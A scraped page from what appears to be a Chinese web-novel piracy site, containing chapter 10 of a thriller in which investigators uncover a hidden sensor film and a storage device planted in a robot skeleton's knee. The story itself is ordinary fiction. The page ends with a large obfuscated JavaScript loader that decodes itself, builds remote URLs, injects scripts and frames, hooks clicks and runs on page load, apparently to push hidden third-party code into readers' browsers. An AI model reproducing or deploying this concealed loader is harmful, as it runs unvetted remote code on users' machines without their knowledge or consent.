首页
第10章 双翼
返回
关灯 护眼:关 字号:小

第10章 双翼

章节报错(免登陆)

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第10章双翼(第1/2页)
    手电筒的光在左腿膝关节后侧的细痕上一寸一寸移动。陆维桢把光束角度调到最低侧切,油漆表面的那条线变得更加清晰——它不是被工具划出来的,而是被某种柔性材料的边缘压过之后留下的位移痕迹。有人用一段表面覆盖了吸附性材料的薄片塞进了左膝外壳和骨架结构的装配缝里,薄片的边缘在油漆上留下了这道平行位移线,然后又被抽走了。
    “右膝拆开过一次。左膝被插过东西。“陆维桢收起手电筒站起来,“插进去的厚度大概零点二到零点三毫米,材质比普通纸更韧,可能是柔性PCB基底或者高密度聚乙烯薄膜。“
    周承岳从三步外走到骨架左膝前蹲下来,用指腹沿着陆维桢指出的那条细痕轻触了一遍。他收回手时没有说话,但起身的姿态比蹲下去时快了些许,脖颈侧面那道旧疤在暗红色灯光下微微绷紧又松开。
    “右膝的微珠和绝缘胶带是明饵。“陆维桢继续说,“他们希望我们把注意力全部集中在右膝上。左膝才是真正植入东西的地方。那层薄片插进去之后可能做了以下三种操作之一:读取骨架内部的电子标签、在结构表面沉积一层纳米级的导电材料形成寄生天线、或者把一组极薄的传感膜片粘贴在关键受力面上。“
    顾晏已经把笔记本电脑合上了。她走过来蹲在骨架左膝的另一侧,用手电筒从自己的角度重新检查了一遍那条细痕的走向和长度,然后用一把精密卡尺量了量细痕两端的位置偏移量。“走向是直线,从外壳装配缝的上端伸入,出来后没有折角。“她直起身,“如果是读取电子标签,探头通常是圆柱形而不是片状。如果是沉积材料,操作时间至少需要几秒钟,痕迹可能会更长或者更不规则。长度只有这么短,更接近第三项——贴膜片。把传感膜片贴在关键受力面上,时间短,接触面积小,只需要把膜片塞进去压一下就能固定。“
    陆维桢蹲下来重新确认了一遍左膝外壳的装配状态。四颗沉头螺丝的位置和右膝稍有不同——有一颗螺丝的十字槽底部存在极其微小的金属碎屑堆积,是之前被某种镀层工具拧动过之后残留下来的。这颗螺丝被松过又被拧紧,拧紧的扭矩比原厂值略低,导致外壳和支架之间的间隙比标准值大了大约两丝。
    “拆。“他说。
    顾晏已经递过了螺丝刀。四颗螺丝依次旋松,每一颗退出的声音都干净均匀,没有异常磨损。左膝外壳被完整取下之后露出内部的关节结构——和右膝基本一致,但液压缸体表面多了一层极薄的半透明膜片,面积大约相当于一枚硬币,颜色接近于浅琥珀色,在灯光下几乎不可见。如果不蹲下来用侧光照射,用裸眼根本分辨不出它与金属表面的区别。
    “天工“系统的光屏发出了一行实时的成分分析结果,利用陆维桢视野里的光学信息进行材质的初步推断:“该膜片为三层结构:顶层为压电聚合物传感层,中层为柔性导电回路,底层为生物相容性粘贴层。厚度约一百五十微米。其工作模式为——当受力面发生变形时,压电层产生微弱电荷信号,通过导电回路向外传输。传输距离极短,推测接收端位于骨架本体内部。“
    膜片贴在左膝液压缸体的外壁上,位置正好对应载荷传递的主要路径。这个位置受力最集中、变形最明显、信号最强。而且膜片的粘贴方向朝内,朝向骨架结构内部,它的信号发射面指向的就是骨架内部的金属构件——如果骨架内腔里埋了一枚无源接收器,这片膜片发出来的电荷信号可以被接收器捕捉到,并以某种方式缓存或转发出去。
    “骨架内部有接收器。“陆维桢把膜片完整地揭下来放进样品盒里封存,“如果接收器是内置在骨架出厂装配时就装进去的部件之一,那我们即使换了关节方案也清不干净。它可能藏在一根空心结构管里、或者藏在某个密封件后面、或者被预埋在骨架铸造时的内部型腔里。“
    周承岳站在两米之外,声音压得低而稳:“你的意思是这具骨架出厂时就已经被做过手脚了?“
    “不是出厂时。“陆维桢直起身,“是封存之后被人打开过内部的密封结构装进去的。刚才我们拆右膝的时候,只卸了外壳和液压缸总成,没有动骨架本身的承力管件。但如果接收器藏在承力管件内部,就需要用专门的工具把管件端部的密封塞取出来才能安装。“
    顾晏已经找到了左膝承力管件端部的密封塞位置。那是一颗内六角沉头螺堵,表面涂了防拆胶,胶层颜色和骨架表面的喷涂色完全一致,不凑近了根本不会注意到这里有一层额外的材料覆盖。她用针尖在螺堵边缘轻轻刮了一下,防拆胶层沿着刮痕裂开一小道口子,露出底下的金属面。
    “拆。“陆维桢说。
    顾晏用内六角扳手卡住螺堵的沉槽施加扭矩。防拆胶在初始几秒内提供了一定的阻力,然后突然松动——螺堵被拧开了。她旋下螺堵之后把扳手放到一边,用手电筒照向管件内部空洞。光柱打进去,大约深入管腔五厘米左右,一枚圆柱形的微型电子器件被磁吸在管壁上。器件的直径只有三毫米,长度约一厘米,表面封着一层透明保护膜,膜下可见微型的电路排线和一只纽扣电池大小的银白色单元。
    陆维桢用一把长柄镊子伸进去把那枚器件取出来。放在掌心端详时,它的重量很轻,底部有一个微型触点阵列,对应的接收频率范围正好可以匹配那层压电膜片发出的电荷信号。这枚器件和膜片是配套的——膜片感知变形→产生电荷信号→无线传输→器件接收并存储。存储的数据需要有人定期靠近骨架,用另一台读取设备从器件上把数据下载走。
    (本章未完,请点击下一页继续阅读)第10章双翼(第2/2页)
    他忽然想到了一个问题,目光落在器件底部的触点阵列上。如果读取设备需要物理接触来下载数据,那就意味着有人需要定期把骨架的某个部位打开,用读卡器一样的设备去触碰这枚器件的触点。而这个部位不能太显眼,每次被打开都要留出充分的时间窗口和合理的开盖理由。
    “四层仓库的分析仪是接收空气中传输的信号。“陆维桢把器件放回样品盒里封好,“而左膝里这枚器件是物理存储型的,它记录的数据需要被现场读取才能带走。说明暗潮在这栋楼里至少有两套采集方案——一套无线远程收数据,一套在地面上有人来接触取数据。两套并行,互为备份。“
    周承岳的加密手机在此时震动了。他接起来听了约十秒,挂断之后转向陆维桢:“围墙外面找到了一个废弃的信号中继器,埋在绿化带下面,距离三号楼北墙大约六米。工兵排的拆卸组刚才清理出来,里面存储了近十二小时的扫描记录。其中一段记录的时序跟今晚墙体外部敲击的时间完全吻合。“
    陆维桢把样品盒放进背包最深层的夹层里,拉链合拢时他抬头看了一眼墙壁上的时钟。九点三十七分。距离上一次墙体敲击已经过去了大约三十分钟,而之前两次敲击的间隔大约是二十五分钟。如果第三次敲击按照同样的周期来算,应该在十分钟之内出现。
    他转身走到配电箱前,把伴热带预热到了中等功率档位。墙体表面温度开始平稳上升。他回到操作台边,把手持式热像仪重新握在手里,这次开机了,取景框对准北墙一米六高度的位置。屏幕上显示出一个缓慢变化的温度读数,墙体表面的热量正在均匀扩散,形成一个没有局部凸起的热幕。
    周承岳走到了他侧后方。顾晏站在骨架旁边,手持式频率计开机运行着,探头指向北墙方向。三个人在暗红色的低照度灯光下形成了三个相互掩蔽的观测角度。北墙方向一片安静,暖气管道内部的循环声低沉平稳。
    陆维桢盯着热像仪屏幕等了大约八分钟。屏幕上墙体温度读数稳定攀升到了设定阈值,整个北墙表面呈现出一片均匀暖色,没有异常热点或冷点。然后在第九分钟左右,热像仪的边缘突然捕捉到一个极其微弱的红外反射——来自墙体外侧大约一点五米处,某个物体短暂地出现在热像仪的取景框角落,然后消失了。出现和消失之间的时间差不到一帧。
    “天工“系统同步截取了那一帧画面进行增强处理。光屏上浮现出一组经过算法补偿的轮廓线条:一个蹲姿的人体轮廓,头部略微偏向左侧——正在用一台手持设备对准墙体表面。轮廓的肩膀线条宽度和之前从北门次干道监控里提取的范德米尔的身体比例数据基本吻合。
    陆维桢把热像仪放下。他没有给任何人看那一帧画面,但周承岳从他的停顿中读出了信息,侧头看了他一眼。陆维桢用左手食指在操作台面上轻轻划了一个方向标记,指向北墙偏东二十度。周承岳的视线朝那个方向偏了一下又收回来,然后他伸手从夹克内袋里取出加密手机,在屏幕遮光模式下快速输入了一条短指令,发送出去。
    发送完成之后他把手机收起来,朝陆维桢微微点了一下头。
    北墙外部的绿化带深处,在路灯照射不到的阴影里,有几片草叶被低于体温的空气移动扰动了一下,然后恢复了静止。没有人走进灯光的范围内,但周承岳的加密手机在发送指令之后大约四十秒震动了一次,消息内容极其简短,只有两个字:“已在。“
    陆维桢把热像仪关掉放回工具箱。墙体表面的温度开始慢慢回落,暖气管道内部的热循环恢复到了常规工作模式。骨架左膝的承力管件端部螺堵已经被重新装回去,防拆胶没有补涂——空缺本身会成为周承岳后续行动的判断依据,也是陆维桢期待对方暴露时的一个参考坐标。
    顾晏已经无声地收起了频率计。她回到操作台前,把笔记本电脑重新打开,在白天的技术文档里找到了一页被隐藏的空白行,在行里输入了一行新内容:“左腿管内元件已取出,保留螺堵防拆胶缺失状态。“
    她保存文件,合上笔记本。
    陆维桢走到骨架左膝前蹲下来,把外壳重新合上。四颗螺丝依次入位,扭矩打到与拆卸前一致的值。复原之后的左腿外观看不出任何变化,油漆表面的那一道细痕还在原来的位置,不凑近了用手电筒打侧光根本看不见。
    他站起来退后一步。暗红色的应急指示灯把左膝外壳的曲面勾勒成一条柔和的弧线。右膝是饵,左腿是网。现在饵被拆了,网被收了。但暗潮的人今晚还在北墙外蹲过,范德米尔住进了那家能看到龙科院和东郊工厂之间那条线的酒店房间,而那台四层仓库里的分析仪现在还处于“待触发“的伪装状态。
    “接下来十二个小时,对方可能会采取两个动作之一。“陆维桢面对周承岳和顾晏的方向说,声音不高但每个字都清晰,“要么因为右膝和左腿的数据同时中断而判断这栋楼内的采集体系被发现了,立刻启动全局擦除。要么因为他们仍然接收到了那台分析仪发回的确认信号而认为我们还蒙在鼓里,继续维持现状。“
    周承岳的加密手机屏幕在夹克内袋里无声地亮了一下,他又拿起看了一眼。看完后他把手机屏幕转向陆维桢的方向,上面显示着一条刚从技术组传来的消息:“在东郊工厂地下空腔的通风管道内部采样到一个ID卡信号。频率码型和今天下午宋喆刷开北门时的门禁卡信号一致。“
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();